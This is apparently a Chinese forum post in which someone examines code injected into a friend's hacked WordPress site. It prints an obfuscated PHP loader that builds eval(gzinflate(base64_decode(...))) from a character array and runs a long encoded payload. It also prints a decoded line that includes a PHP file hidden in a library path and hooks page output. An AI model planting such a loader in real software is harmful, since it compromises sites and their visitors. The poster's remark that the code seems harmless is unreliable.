WP被黑之后php base64加密的代码解密之后的内容
这是解密的结果,貌似没看出来有啥危害啊
if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/wwwroot/my/libraries/PHPExcel/PHPExcel/Shared/Escher/DggContainer/BstoreContainer/BSE/269.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}
前天朋友的WP被加入如下代码
<?php
$md5 = "7a8f8be74c439a765c67c839ccd7b515";
$aa = array('l',"f","c","n","_","a","i",'z','v',"b","d","4","6",'o',"e",')',"s",";","g","r","t","(","$");
$bab = create_function('$'.'v',$aa[14].$aa[8].$aa[5].$aa[0].$aa[21].$aa[18].$aa[7].$aa[6].$aa[3].$aa[1].$aa[0].$aa[5].$aa[20].$aa[14].$aa[21].$aa[9].$aa[5].$aa[16].$aa[14].$aa[12].$aa[11].$aa[4].$aa[10].$aa[14].$aa[2].$aa[13].$aa[10].$aa[14].$aa[21].$aa[22].$aa[8].$aa[15].$aa[15].$aa[15].$aa[17]);
$bab('DZRFrsUIggSP01Xywkwa9cLMzN60jM/MfPr5J8hUhDKrKxv++X3tVA/ZUf2TZ3tFYP8rq2Iuq3/+I6ahKKyvIv6iGAIokaG/tkOZGZVi7+fvgb5eIOzu2A/dP4XaP7kmg/w7Qodc45pUIe2edpTQDZzQKeqm68bmEKBYMhfMdB8qgGK006Z6k04JJ99WNpSNFEGz6b6ev0JY+6SFbu67u1LyGRbaPD7s76VKNNP9bpg7N3ePtef6rjG64YHz1blNStsckhrWAe8WkhNM2Spgr95QdzmIqBjz0JjSj4SvXjK+OJx4MZJ7cZg/zSjDpJGwQhreMUDFL35iCuuACNoTbtla1ndAr/fCG3xJIHEL9CR864VeaVwmMLd0yhjqH8gAxFcIflDxSG5rGw6jokdIyy283/eWTjfKFlCRPsloliIZ0KOUnUY0Ce4KEl+xPwYA35lfkr8MK+qnk+sqe60VNdCCA9o9tv/kkJpZsN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Z0fBSisfug51/UrnsgjxfJI4hpxpVO5np2hGDymzRI4rR3XtUX8YxzKYcndLR+jvewJ67Vn84BMW42L3fJ4Rlk7LSwMPCvcW8Igg2JNSLJtYWYVA1tEIXPjTLlKTcyvURRskzFcVjnxZPar7pCWG87A4ZHRd4fJvKkfqC8bkMcnzDQppVupcqODu5FUQ+Zoas6Gxdmrwd50yK66m3A+S95JSM8ibZ2n0FvvvhJ2joKl/ELAwncNc1SLFXix6oL2MfbZ2K6lkrcJh5XxysqNoaRXRvg/hD76MA/vQxYq89ife+dmYPGpQtPjBNzNRH4CQQOxyPZ/4GKn6fvZom5aPG6yg6HJYnU70gMi8L48JXZGMeMZdDs9Hwmq6Kn81aG3upPuBPyLrlZSc6+l9iw3oubDZFbqpaIHri3MF+0L9WuoSNc/3R8xA7o8THrGlDNz4GXPhSkrkbqfTe6wj3Nq6OjIjg+BE0gAIgj/qv//5999//+//AQ=='));
$a = str_replace('eval(gzinflate(base64_decode(', '', $a);
$a = str_replace(')));', '', $a);
$a = gzinflate(base64_decode($a));
echo $a."<br />";